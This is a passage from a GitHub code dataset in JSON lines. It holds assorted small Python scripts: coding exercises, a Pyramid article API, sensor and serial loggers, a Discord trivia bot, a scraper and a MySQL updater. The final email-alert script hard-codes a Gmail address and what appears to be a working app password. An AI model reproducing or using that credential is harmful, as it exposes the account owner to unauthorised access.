event.mask & self.watch_flags:\n                self.logger.debug('MODIFY event found for watch %s.', event.wd)\n                for sub_iter in self.watch_to_subscribers[event.wd]:\n                    self.logger.debug('%s: save True reply.', sub_iter)\n                    self.replies[sub_iter] = True\n\n        reply = self.replies[subscriber]\n        self.replies[subscriber] = False\n        return reply\n","repo_name":"insight-platform/Savant","sub_path":"savant/utils/inotify_manager.py","file_name":"inotify_manager.py","file_ext":"py","file_size_in_byte":3302,"program_lang":"python","lang":"en","doc_type":"code","stars":327,"dataset":"github-code","pt":"51"}
+{"seq_id":"70095722400","text":"# 문제1285.아름이의 돌 던지기\n# 시간: ?초, 메모리: 256MB\n\n# 입력\n'''\n1. 테스트 케이스 총 개수 T\n2. 돌을 던지는 사람�� 수 N\n- 1 <= N <= 100\n3. N명의 사람이 돌을 던졌을 때, 돌이 떨어진 위치\n- -100,000 <= 위치 <= 100,000\n'''\n\n# 출력\n'''\n1. #테스트케이스\n2. 돌이 가장 0에 가깝게 떨어진 곳과 0 사이의 거리 차이\n3. 그렇게 던진 사람이 몇 명인지\n'''\n\n# 코드\nimport sys\n\nsys.stdin = open('SWEA/input_text/1285.txt', 'r')\n\nT = int(input())\nfor test_case in range(1, T + 1):\n    N = int(input())\n\n    # 각 사람마다 돌이 떨어진 위치와 0 사이의 거리 구하기\n    diffs = map(lambda x: abs(int(x)), input().split())\n\n    min_distance = 200000   # 100,000위치에서 -100,000위치로 돌을 던지는 경우로 초기화\n    people = 0   # 0과의 차이가 최소가 되도록 던진 사람의 수\n    for diff in diffs:\n        # 거리차이가 더 작은 값이 나올때마다 갱신\n        if min_distance > diff:\n            min_distance = diff\n            people = 1\n        # 현재 최솟값과 거리차이가 동일한 경우 1씩 카운트\n        elif min_distance == diff:\n            people += 1\n    \n    print(f'#{test_case} {min_distance} {people}')\n","repo_name":"hyejinny97/Coding-Test","sub_path":"SWEA/D2/1285.py","file_name":"1285.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"51"}
+{"seq_id":"6709622461","text":"from pyramid.httpexceptions import HTTPNotFound\nfrom pyramid.response import Response\nfrom pyramid.view import view_config\n\nfrom aarau.models.article import Article\nfrom aarau.queries.project import get_project\nfrom aarau.queries.site import get_site\nfrom aarau.views.filter import login_required\nfrom aarau.views.console.article.form import (\n    build_article_editor_form,\n    build_article_settings_form,\n)\n\n\ndef save_content(req, article):\n    form = build_article_editor_form(req, article)\n\n    if form.validate():\n        with req.db.cardinal.atomic():\n            article.content = form.content.data or ''\n\n            article.save()\n\n    return (article, form.errors)\n\n\ndef save_meta(req, article):\n    form = build_article_settings_form(req, article)\n\n    if form.validate():\n        with req.db.cardinal.atomic():\n            article.title = form.title.data\n            article.scope = 'private' if not form.scope.data else 'public'\n            article.progress_state = Article.progress_states[\n                int(form.progress_state.data)]\n            # optional\n            article.path = form.path.data\n\n            article.save()\n\n    return (article, form.errors)\n\n\ndef handle_post(req):\n    namespace = req.matchdict.get('namespace')\n    slug = req.matchdict.get('slug')\n\n    code = req.params.get('code')  # update\n\n    project = get_project(namespace, user=req.user)\n    site = get_site(slug, project=project)\n\n    if site.type != 'publication':\n        raise HTTPNotFound\n\n    publication = site.instance\n    if code:\n        try:\n            article = publication.articles.where(\n                Article.code == code).get()\n        except Article.DoesNotExist:\n            article = None\n\n    if not article:\n        code = Article.grab_unique_code()\n        article = Article(\n            code=code,\n            path=code,\n            title='Untitled',\n            copyright='',\n            publication=publication)\n\n    context = req.params.get('context', None)\n    _ = req.translate\n    if context == 'editor':\n        (article, errors) = save_content(req, article)\n    elif context == 'settings':\n        (article, errors) = save_meta(req, article)\n    else:\n        raise HTTPNotFound\n\n    message = _('article.save.failure')\n    if not errors:\n        message = _('article.save.success')\n\n    return dict(\n        status='ok',\n        code=article.code,\n        errors=errors,\n        message=message)\n\n\n@view_config(route_name='console.api.article.settings',\n             request_method='POST',\n             renderer='json')\n@login_required\ndef api_article_settings(req):\n    try:\n        return handle_post(req)\n    except HTTPNotFound:\n        return Response(status=404, json_body={\n            'status': 'error',\n            'error': 'The resource was not found'})\n\n\n@view_config(route_name='console.api.article.editor',\n             request_method='POST',\n             renderer='json')\n@login_required\ndef api_article_editor(req):\n    try:\n        return handle_post(req)\n    except HTTPNotFound:\n        return Response(status=404, json_body={\n            'status': 'error',\n            'error': 'The resource was not found'})\n\n\n@view_config(route_name='console.api.article.progress_states',\n             request_method='GET',\n             renderer='json')\n@login_required\ndef api_article_progress_states(req):\n    try:\n        namespace = req.matchdict.get('namespace')\n        slug = req.matchdict.get('slug')\n        code = req.matchdict.get('code')\n\n        project = get_project(namespace, user=req.user)\n        site = get_site(slug, project=project)\n\n        if site.type != 'publication':\n            raise HTTPNotFound\n\n        publication = site.instance\n\n        article = publication.articles.where(\n            Article.code == code).get()\n    except (HTTPNotFound, Article.DoesNotExist):\n        article = Article(progress_state='draft')\n\n    states = article.available_progress_states_as_choices\n    current_state = article.progress_state\n\n    data = {}\n    for (i, v) in enumerate(Article.progress_states):\n        n = str(i)\n        data[v] = {'value': n, 'label': v}\n        if (n, v) not in states:\n            data[v]['disabled'] = True\n        elif v == current_state:\n            data[v]['selected'] = True\n\n    return dict(\n        status='ok',\n        data=data,\n        errors=[],\n        message='')\n","repo_name":"scrolliris/scrolliris-console","sub_path":"aarau/views/console/article/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":4359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"74626704478","text":"import frontStart\n\ndef getType(q_entity, inputquestion):\n    #print(index)\n    mid=q_entity  #如果识别出两个实体，选第一个作为mid\n    midtype=''\n    ctype=frontStart.commontable.find_one({'mid':mid})\n\n    #若有commontype则作为其type\n    if ctype is not None:\n        midtype=ctype['type']\n    else:\n        #search othertype\n        if mid =='m.02lx2r':\n            midtype='music.album_release_type'\n        else:\n            otype=frontStart.othertable.find_one({'mid':mid})\n            if otype is not None:\n                typelist=otype['type']\n                typelen=len(typelist)\n\n                if typelen==1:\n                    midtype='typelist[0]'\n\n                if typelen==2 and 'common.topic' in typelist:\n                    topicindex=typelist.index('common.topic')\n                    # print(topicindex)\n                    midtype=typelist[1-topicindex]\n\n                #找句子中的词\n                if midtype=='':\n                    # q=questionlist[index-1].replace('_',' ')\n                    for type in typelist:\n                        if type !='common.topic':\n                            everyword=re.split(r\"\\.|_\",type)\n                            for word in everyword:\n                                if word in inputquestion:\n                                    midtype=type\n                #若还未找到，随机\n                if midtype=='':\n                    randomtype=choice(typelist)\n                    while randomtype == 'common.topic':\n                        randomtype = choice(typelist)\n                    midtype=randomtype\n\n            else:\n                midtype='common.topic'\n    \n    return midtype","repo_name":"cherishke/simpleProject","sub_path":"simpleGetMid/getType.py","file_name":"getType.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"41707499009","text":"#!/usr/bin/env python\n\nfrom contextlib import closing\n\nimport argparse\nimport os.path\nimport numpy as np\nimport pylab as plt\nimport mpl_toolkits.mplot3d\nfrom tables import openFile\n\ndef do_file(hf):\n    assert(len(hf.root.sW.shape) == 2)\n    ax = figure().add_subplot(111, projection='3d')\n    \n    fn = os.path.splitext(os.path.basename(hf.filename))[0] + '.radius.pdf'\n    print(('saving figure in ' + fn))\n    plt.savefig(fn)\n    plt.show()\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(description='Plot the free energy surface')\n    parser.add_argument('filename', action = 'store')\n    \n    try:\n        args = parser.parse_args()\n    except:\n        parser.print_help()\n        sys.exit()\n\n    with closing(openFile(args.filename)) as hf:\n        do_file(hf)\n","repo_name":"andreabedini/flatperm-scripts","sub_path":"flatperm_free_energy_surface_plot.py","file_name":"flatperm_free_energy_surface_plot.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"43164779656","text":"def voto(anonascimento):\n    from datetime import datetime\n    anoatual = datetime.now().year\n    idade = anoatual - anonascimento\n    if idade < 16:\n        return f\" com {idade} anos: NÃO VOTA \"\n    if 16 <= idade < 18 or idade > 65:\n        return f\" com {idade} anos: VOTO OPCIONAL\"\n    else:\n        return f' com {idade} anos: VOTO OBRIGATÓRIO'\n\n\n# Programa Principal\n\nanonascimento = int(input(\"Digite o ano de nascimento:  \"))\nprint(voto(anonascimento))\n","repo_name":"jeandy92/Python","sub_path":"ExerciciosCursoEmVideo/Mundo_3/ex101.py","file_name":"ex101.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"22358173029","text":"#!/usr/bin/env python3\n\nimport sys\nimport RPi.GPIO as GPIO\nimport os\nimport time\nfrom time import sleep\nimport Freenove_DHT as DHT\nimport urllib3\n\nDHTPin = 11     #define the pin of DHT11\n\ndef loop():\n    dht = DHT.DHT(DHTPin)   #create a DHT class object\n    counts = 0 # Measurement counts\n    while(True):\n        counts += 1\n        print(\"Measurement counts: \", counts)\n        for i in range(0,15):            \n            chk = dht.readDHT11()     #read DHT11 and get a return value. Then determine whether data read is normal according to the return value.\n            if (chk is dht.DHTLIB_OK):      #read DHT11 and get a return value. Then determine whether data read is normal according to the return value.\n                print(\"DHT11,OK!\")\n                break\n            time.sleep(0.1)\n        print(\"Humidity : %.2f, \\t Temperature in C: %.2f \\n\"%(dht.humidity,dht.temperature))\n        if dht.humidity > 70:\n          print(\"Humid Environment. Damage Risk.\")\n        elif dht.temperature > 37:\n          print(\"High Temperature. Damage Risk.\")  \n        elif dht.humidity > 70 and dht.temperature > 37:\n          print(\"Hot and Humid. Damage Risk.\")\n        elif dht.temperature < 15:\n          print(\"Low Temperature. Damage Risk.\")\n        elif dht.humidity < 40:\n          print(\"Dry Environment. Damage Risk.\")\n        elif dht.humidity < 40 and dht.temperature < 15:\n          print(\"Cold and Dry. Damage Risk.\")\n        else:\n          print(\"Working Conditions\")\n          break\n        time.sleep(2)       \n        \nif __name__ == '__main__':\n    print ('Program is starting ... ')\n    try:\n        loop()\n    except KeyboardInterrupt:\n        GPIO.cleanup()\n        exit()  \n\n\n","repo_name":"mghendi/airpollution","sub_path":"weather2.py","file_name":"weather2.py","file_ext":"py","file_size_in_byte":1706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"34050217560","text":"from generativepy.drawing import make_image, setup\nfrom generativepy.geometry import text\nfrom generativepy.color import Color\n\n'''\nCreate a very simple image\n'''\n\ndef draw(ctx, pixel_width, pixel_height, frame_no, frame_count):\n\n    setup(ctx, pixel_width, pixel_height, width=5, background=Color(0.4))\n\n    ctx.set_source_rgba(*Color(0.5, 0, 0))\n    ctx.rectangle(0.5, 0.5, 2.5, 1.5)\n    ctx.fill()\n\n    ctx.set_source_rgba(*Color(0, 0.75, 0, 0.5))\n    ctx.rectangle(2, 0.25, 2.5, 1)\n    ctx.fill()\n\n    text(ctx, \"Simple Image\", 1, 3, size=0.5, color=Color('cadetblue'), font='Arial')\n\n\nmake_image(\"/tmp/simpleimage.png\", draw, 500, 400)\n","repo_name":"martinmcbride/generativepy","sub_path":"examples/start/simpleimage.py","file_name":"simpleimage.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":83,"dataset":"github-code","pt":"51"}
+{"seq_id":"4310640107","text":"\"\"\"\nLeetcode: 435. Non-overlapping Intervals\n\nGiven an array of intervals intervals where intervals[i] = [starti, endi], return the minimum number of intervals you\nneed to remove to make the rest of the intervals non-overlapping.\n\nIntuition: Very simple just use logic of basic interval scheduling algorithm. Sort the element based on\nfinish time and then use for loop to calculate the count.(Greedy) It gives the optimal answer.\n\nTC: O(nlogn)- sorting based on finish time + O(n) : for for loop\nSC: O(1) - No use of any extra space.(if sorting uses merge sort then it uses storage - O(n))\n\"\"\"\n\nclass Solution:\n    def eraseOverlapIntervals(self, intervals: List[List[int]]) -> int:\n        sorted_intervals = sorted(intervals, key=lambda x: x[1])\n\n        count = 1\n        f_time = sorted_intervals[0][1]\n        for i in range(1, len(sorted_intervals)):\n            if sorted_intervals[i][0] >= f_time:\n                count += 1\n                f_time = sorted_intervals[i][1]\n\n        return len(sorted_intervals) - count\n\n\n\n\n","repo_name":"SahilGunjal/LeetCode_Daily","sub_path":"non_overlapping_intervals.py","file_name":"non_overlapping_intervals.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"7012578328","text":"import json\nimport requests\nfrom SecretUser import SecretUser\nfrom mysql.connector import connect, Error\n\ndef getConnection():\n    try:\n        with connect(\n                host = SecretUser.host,\n                user = SecretUser.user,\n                password = SecretUser.password,\n                database = SecretUser.database,\n        ) as connection:\n            print('Script starts!')\n            res_set = getDataFromDatabase(connection)\n            print('Data from database:', res_set)\n\n            res_data = getDataFromJSON(res_set)\n            print('Data from JSONs to database:', res_data)\n\n            uploadDataToDatabase(connection, res_data)\n            print('Script ended!')\n    except Error as e:\n        print(e)\n\ndef getDataFromDatabase(connection):\n    result_id = []\n\n    cursor = connection.cursor(buffered=True)\n    cursor.execute(\"SELECT ИД_ИСУ FROM уп\")\n    result_set = cursor.fetchall()\n    for row in result_set:\n        result_id.append(row[0])\n    return result_id\n\ndef getDataFromJSON(ids):\n    findedNumbers = []\n    dataToAdd = []\n    filenames = []\n\n    pathdirectory = \"https://api.github.com/repos/Vl-Tershch/OldJsonsData/git/trees/master?recursive=1\"\n    r = requests.get(pathdirectory)\n    res = r.json()\n    for file in res[\"tree\"]:\n        if file[\"path\"].endswith('.json'):\n            help = file[\"path\"].split('/')\n            filenames.append(help[1])\n\n    fds = sorted(filenames)\n    for i in fds:\n        if i.endswith('.json'):\n            filename = i.split('.')\n            numberFile = filename[0].split('_')\n            if int(numberFile[0]) in ids:\n                findedNumbers.append(int(numberFile[0]))\n                url = f'https://raw.githubusercontent.com/Vl-Tershch/OldJsonsData/master/jsons/{i}'\n                resp = requests.get(url)\n                data = json.loads(resp.text)\n                if 'error_code' in data.keys():\n                    dataToAdd.append((data['result']['selection_year'], float(data['result']['training_period']), numberFile[0]))\n                else:\n                    dataToAdd.append((data['selection_year'], float(data['training_period']), numberFile[0]))\n    return dataToAdd\n\ndef uploadDataToDatabase(connection, data):\n    insert_jsons_query = \"\"\"\n        UPDATE уп\n        SET Год = %s, Период = %s \n        WHERE ИД_ИСУ = (%s)\n        \"\"\"\n\n    cursor = connection.cursor(buffered=True)\n    cursor.executemany(insert_jsons_query, data)\n    connection.commit()\n\nif __name__ == '__main__':\n    getConnection()\n","repo_name":"Vl-Tershch/OldJsonsData","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"37509864218","text":"#!/usr/bin/python3\n\n# tested with Python 3.6.5 (default, Apr  1 2018, 05:46:30) \nimport serial, datetime\n\nlogfile='/home/myshake/serlog/temp-log.csv'\nFLIM = 10  # flush buffer after this many lines\n\nf = open(logfile, 'w')\n\nfctr = 8  # saved-line counter (flush buffer after FLIM lines)\npctr = 5  # sample decimation counter \nfirstline = 1  # have not yet finished the first line\n\nwith serial.Serial('/dev/ttyUSB0', 9600, timeout=10) as ser:\n  while True:\n    line = ser.readline()\n    # print(line)\n    s0 = line.decode(\"utf-8\").strip()  # bytes to string, without start/end whitespace\n    s = s0.strip('\\0')  # serial port open sometimes gives a null byte\n    nc = len(s)  # how many useful characters in the input string?\n    s = s + \"\\n\"\n    if ( nc > 0 ):\n      # print(s,end='')\n      pctr += 1\n      if (pctr > 4):  # only print every 5th line to save space\n        pctr = 0\n\n        if (firstline == 1):\n          oline = \"date_time, \" + s\n          firstline = 0\n        else:\n          oline = str(datetime.datetime.now()) + \", \" + s\n\n        f.write(oline)\n        fctr += 1\n        if (fctr > FLIM):\n          f.flush()\n          fctr = 0\n      # print(s,end='')\n","repo_name":"jbeale1/DataAcq","sub_path":"readSerial.py","file_name":"readSerial.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"51"}
+{"seq_id":"74590417438","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\nfrom lxml import etree\r\nimport time\r\nimport json\r\nimport random\r\n\r\n\r\nwith open('1.json', 'r') as f:  # 将代理读取进列表\r\n    proxy_pool = f.readlines()\r\nproxies = json.loads(random.choice(proxy_pool))  # 随机选取一个代理\r\n#匹配获得url\r\ndef get_url(url,proxies=proxies):\r\n    headers = {\r\n        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'\r\n    }\r\n\r\n    response = requests.get(url, headers=headers,proxies=proxies)\r\n    parseHtml = etree.HTML(response.text)\r\n    url_list = parseHtml.xpath('//div[@class=\"w\"]//a/@href')\r\n    return url_list[2:-200]\r\n\r\n\r\n#匹配处理文本信息\r\ndef parse(list):\r\n    headers = {\r\n        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'\r\n    }\r\n\r\n    mmm = {}\r\n    for url in list:\r\n        response = requests.get(url, headers=headers, proxies=proxies)\r\n        parseHtml = etree.HTML(response.text)\r\n\r\n        soup = BeautifulSoup(response.text, 'lxml')\r\n        title = soup.find('h1', class_=\"title\")\r\n        a = title\r\n        if a is None:\r\n            continue\r\n        mes = ''\r\n\r\n        for p in soup.select(\"#Article p\"):\r\n            b = p.get_text()\r\n            mes += b\r\n        mmm[(a.string)] = mes\r\n    return mmm\r\n\r\ndef write(mes):\r\n    with open('my.txt', 'a', encoding='utf-8') as f:\r\n        for each in mes:\r\n            f.write(each + '    ' + mes[each] + '\\n')\r\n            f.write('-------------------------------------------------------------------------' + '\\n')\r\n\r\n\r\n\r\ndef main():\r\n    url = 'http://www.iplaypy.com/'\r\n    html = get_url(url)\r\n    mes = parse(html)\r\n    write(mes)\r\n\r\nif __name__ == '__main__':\r\n    main()","repo_name":"zhang3ii/B-","sub_path":"playpy.py","file_name":"playpy.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"40518866066","text":"import discord \nfrom discord.ext import commands, tasks\n\nimport html\nimport random\nimport asyncio\nimport requests\nfrom typing import Optional\n\nfrom settings import BOT_CHANNEL_ID\nfrom utils import log, get_data, upd_data, get_value, new_user\n\nclass Games(commands.Cog):\n\tdef __init__(self,bot):\n\t\tself.bot : commands.Bot = bot\n\n\t\ttraveler.start(bot=self.bot)\n\n\n@tasks.loop()\nasync def traveler(*, bot: commands.Bot):\n\t# get the bot channel and make sure it is not none\n\tbot_channel = await bot.fetch_channel(BOT_CHANNEL_ID)\n\tassert isinstance(bot_channel, discord.TextChannel)\n\n\t# make the request and check it is valid\n\tr = random.choice([18,19])\n\turl = f\"https://opentdb.com/api.php?amount=1&category={r}\"\n\n\tresponse = requests.get(url)\n\tdata = response.json()\n\n\tif data[\"response_code\"] != 0:\n\t\treturn log('WARNING', \"opentdb api returned 0 response code\")\n\t\n\t# extract the data\n\tcategory:str = data[\"results\"][0][\"category\"]\n\tdifficulty:str = data[\"results\"][0][\"difficulty\"]\n\n\tquestion_type:str = data[\"results\"][0][\"type\"]\n\t# convert html entities to normal unicode text\n\tquestion:str = html.unescape(data[\"results\"][0][\"question\"])\n\tcorrect_answer:str = html.unescape(data[\"results\"][0][\"correct_answer\"])\n\tincorrect_answers:list = list(map(html.unescape, data[\"results\"][0][\"incorrect_answers\"]))\n\n\t# create a list of answers and randomize them\n\tanswers = []\n\tanswers.append(correct_answer)\n\tanswers.extend(incorrect_answers)\n\trandom.shuffle(answers)\n\n\tcorrect_answer_index = answers.index(correct_answer)\n\n\t# create embed\n\tE = discord.Embed(title='Traveler', description=f\"**{question}**\")\n\tE.description = f\"## **{question}**\\n\\n\"\n\tE.set_footer(text=f\"Category: {category} | Difficulty: {difficulty} | Type: {question_type}\")\n\tE.set_thumbnail(url=\"https://media.discordapp.net/attachments/709313685226782751/1127893104402386966/traveler.png\")\n\n\tif difficulty == \"easy\":\n\t\tE.color = discord.Color.green()\n\telif difficulty == \"medium\":\n\t\tE.color = discord.Color.gold()\n\telif difficulty == \"hard\":\n\t\tE.color = discord.Color.red()\n\n\t# handle the correct and incorrect cases\n\tasync def correct(inter:discord.Interaction):\n\t\tE = discord.Embed(title=\"Correct!\", color=discord.Color.green())\n\t\tE.set_thumbnail(url=\"https://media.discordapp.net/attachments/709313685226782751/1127893104402386966/traveler.png\")\n\n\t\t# user_id : {user data}\n\t\ttry: \n\t\t\tuser_data : dict = get_data(f\"games/users/{inter.user.id}\")\n\t\texcept :\n\t\t\tuser_data = new_user()\n\t\t\n\t\tvalue = get_value(user_data)\n\n\t\tuser_data[\"roses\"] += value\n\t\tuser_data[\"ideas\"] += 10\n\n\t\tupd_data(user_data, f\"games/users/{inter.user.id}\")\n\t\tE.description = f\"You earned **{value}🌹** and **10💡**\"\n\t\n\t\tawait inter.followup.send(inter.user.mention, embed=E)\n\n\tasync def incorrect(inter:discord.Interaction):\n\t\tE = discord.Embed(title=\"Incorrect!\", color=discord.Color.red())\n\t\tE.set_thumbnail(url=\"https://media.discordapp.net/attachments/709313685226782751/1127893104402386966/traveler.png\")\n\n\t\t# user_id : {user data}\n\t\ttry: \n\t\t\tuser_data : dict = get_data(f\"games/users/{inter.user.id}\")\n\t\texcept :\n\t\t\tuser_data = new_user()\n\n\t\tuser_data[\"roses\"] += 50\n\t\tupd_data(user_data, f\"games/users/{inter.user.id}\")\n\n\t\tE.description = f\"The correct answer was **{correct_answer}**\\n\"\n\t\tE.description += f\"The traveler left **50🌹** by accident on the ground\"\n\n\t\tawait inter.followup.send(inter.user.mention, embed=E)\n\n\t# subclass of discord.ui.Button, all buttons will have the same callback (no need for functions)\n\tclass CallbackButton(discord.ui.Button):\n\t\tdef __init__(self, parent_view:'B_choices', *args, **kwargs):\n\t\t\tsuper().__init__(*args, **kwargs)\n\t\t\tself.parent_view = parent_view\n\n\t\tasync def callback(self, inter: discord.Interaction):\n\t\t\tawait inter.response.defer()\n\t\t\tif question_type == \"boolean\":\n\t\t\t\tif correct_answer.upper() == self.label:\n\t\t\t\t\tawait correct(inter)\n\t\t\t\telse:\n\t\t\t\t\tawait incorrect(inter)\n\n\t\t\telse:\n\t\t\t\tif str(correct_answer_index+1) == self.label:\n\t\t\t\t\tawait correct(inter)\n\t\t\t\telse:\n\t\t\t\t\tawait incorrect(inter)\n\n\t\t\tif isinstance(self.parent_view.message, discord.Message):\n\t\t\t\tawait self.parent_view.message.delete()\n\t\t\tself.parent_view.stop()\n\n\tclass B_choices(discord.ui.View):\n\t\tdef __init__(self, timeout=3600):\n\t\t\tsuper().__init__(timeout=timeout)\n\t\t\tself.message : Optional[discord.Message]\n\n\t\t# traveler leaves: removes message after timeout\n\t\tasync def on_timeout(self):\n\t\t\ttry:\n\t\t\t\tif isinstance(self.message, discord.Message):\n\t\t\t\t\tawait self.message.delete()\n\t\t\texcept discord.NotFound:\n\t\t\t\tpass\n\n\t# add the necessary buttons\n\tb_choices = B_choices()\n\tif question_type == \"boolean\":\n\t\tb_choices.add_item(CallbackButton(parent_view=b_choices, label=\"TRUE\", style=discord.ButtonStyle.green))\n\t\tb_choices.add_item(CallbackButton(parent_view=b_choices, label=\"FALSE\", style=discord.ButtonStyle.red))\n\telse:\n\t\tfor i in range(4):\n\t\t\tE.description += f\"{i+1}. {answers[i]}\\n\"\n\t\t\tb_choices.add_item(CallbackButton(parent_view=b_choices, label=str(i+1), style=discord.ButtonStyle.blurple))\n\n\tb_choices.message = await bot_channel.send(embed=E, view=b_choices, silent=True)\n\n\tawait b_choices.wait()\n\n\t# come back in 2 to 10 hours\n\trandom_time = random.randint(7200, 36000)\n\n\tawait asyncio.sleep(random_time)\n\nasync def setup(bot:commands.Bot):\n\tawait bot.add_cog(Games(bot))","repo_name":"RobinRab/SINFBot","sub_path":"src/cmds/games/games.py","file_name":"games.py","file_ext":"py","file_size_in_byte":5267,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"51"}
+{"seq_id":"7703827755","text":"def firstAndFourth(a):\n    str=\"\"\n    i=0\n    for c in a:\n        if(i==0 or i==4):\n            c=c.upper()\n            print(c)\n        i = i + 1\n        str=str+c\n    return str\n\nprint(firstAndFourth(\"helloworld\"))","repo_name":"vm109/PythonPractice","sub_path":"com/def/practice/FirstAndFourthLetter.py","file_name":"FirstAndFourthLetter.py","file_ext":"py","file_size_in_byte":216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"29232696642","text":"a,b=input().split()\ndub1=[]\ndub=[]\nfor i in a:\n    dub.append(i)\nfor i in b:\n    dub1.append(i)\nlab=0\nfor i in dub1:\n    if not i in dub:\n        lab=1\nif not lab==1:\n    print(\"yes\")\nelse:\n    print(\"no\")\n","repo_name":"yasosurya33/yaso","sub_path":"Substring checking.py","file_name":"Substring checking.py","file_ext":"py","file_size_in_byte":206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"9400176723","text":"# !usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time     : 2022/6/22\n# @Author   : ChenLingHao\n# @File     : tester.py\nimport torch\nimport numpy as np\nfrom tqdm import tqdm\n\n\nclass Tester:\n    \"\"\"预测全部\"\"\"\n    def __init__(self, config):\n        self.cfg = config\n\n    def fit(self, model, loader):\n        if self.cfg.task == 'tile':\n            predictions = self.tile_predictor(model, loader)\n        elif self.cfg.task == 'mil':\n            predictions = self.mil_predictor(model, loader)\n        else:\n            raise NotImplementedError\n        return predictions\n\n    def tile_predictor(self, trained_model, loader):\n        device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n        if self.cfg.task_type == 'classification':\n            trained_model.to(device)\n            probs = []\n            for idx, images in enumerate(tqdm(loader)):\n                images = images.to(device)\n                outputs = trained_model(images)\n                probs_ = outputs.detach().cpu()\n                probs.append(probs_)\n            probs = torch.cat(probs).softmax(1)\n            probs = probs.numpy()\n            return probs[:, 1]\n        else:\n            raise NotImplementedError\n\n    def mil_predictor(self, trained_model, loader):\n        device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n        if self.cfg.task_type == 'classification':\n            probs = []\n            for idx, features in enumerate(tqdm(loader)):\n                features = features.to(device)\n                outputs, attention_weight = trained_model(features, return_attention=True)\n                outputs = outputs.softmax(dim=1).detach().cpu().numpy()\n                prob = outputs[:, -1]\n                probs.append(prob)\n            probs = np.concatenate(probs, axis=0)\n            return attention_weight, probs\n        else:\n            raise NotImplementedError\n","repo_name":"chenlinggao/tcga_basic","sub_path":"core/tester.py","file_name":"tester.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"8296152262","text":"from CNN import tranzactii\nfrom CNN import titular,venituri\n\nsume = {\n    1: 0, #venit\n    2: 0, #mancare\n    3: 0, #transport\n    4: 0, #casa\n    5: 0  #diverse\n}\ntotal_chetuieli=0\n# for linie in f:\n#     linie_string = linie.split(\",\")\n#     nr=[]\n#     for l in linie_string:\n#         nr.append(float(l))\nfor tranz in tranzactii:\n    nr = []\n    for l in tranz:\n        nr.append(float(l))\n\n    if nr[1]==-1:\n        sume[1]+=nr[0]\n    elif nr[1]==0:\n        sume[2]+=nr[0]\n    elif nr[1]==1:\n        sume[3]+=nr[0]\n    elif nr[1]==2:\n        sume[4]+=nr[0]\n    elif nr[1]==3:\n        sume[5]+=nr[0]\n    if nr[1]!=-1:\n        total_chetuieli += nr[0]\ndef calculProcent(categorie):\n    if(categorie!=1):\n        for i in range(len(sume)+1):\n            if categorie == i:\n                return sume[i]/total_chetuieli\n    else:\n        return -1\n\nprint(total_chetuieli)","repo_name":"alexion2001/BCR-x-EESTEC-Hackathon","sub_path":"calcul_sume.py","file_name":"calcul_sume.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"29728988186","text":"import smtplib\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nimport serial\nimport time\n\nS = serial.Serial('com5', 9600, timeout=2)\n\n\ndef sendEmailAlert(msg):\n    with smtplib.SMTP(host=\"smtp.gmail.com\", port=\"587\") as smtp:\n        content = MIMEMultipart()\n        content[\"subject\"] = \"Gawr Gura:A!!!!\"\n        content[\"from\"] = \"Gawr Gura\"\n        content[\"to\"] = \"s810638@email.nlhs.tyc.edu.tw\"\n        content.attach(MIMEText(\"AAAAAAAAAA!\"))\n        try:\n            smtp.ehlo()\n            smtp.starttls()\n            smtp.login(\"s810648@email.nlhs.tyc.edu.tw\", \"abngkkhwscsnihwm\")\n            smtp.send_message(content)\n            print(\"訊息已發送!\")\n        except Exception as e:\n            print(\"Error message: \", e)\n\nIntruderAlert = False\nwhile True:\n    data = S.readline().decode().rstrip()\n\n    if data == \"alert\" and not IntruderAlert:\n        IntruderAlert = True\n        print(\"斷路！！！\")\n        sendEmailAlert(\"AAAAAAAAAA\")\n    elif data == \"normal\" and IntruderAlert:\n        IntruderAlert = False\n        print(\"斷路解除\")\n        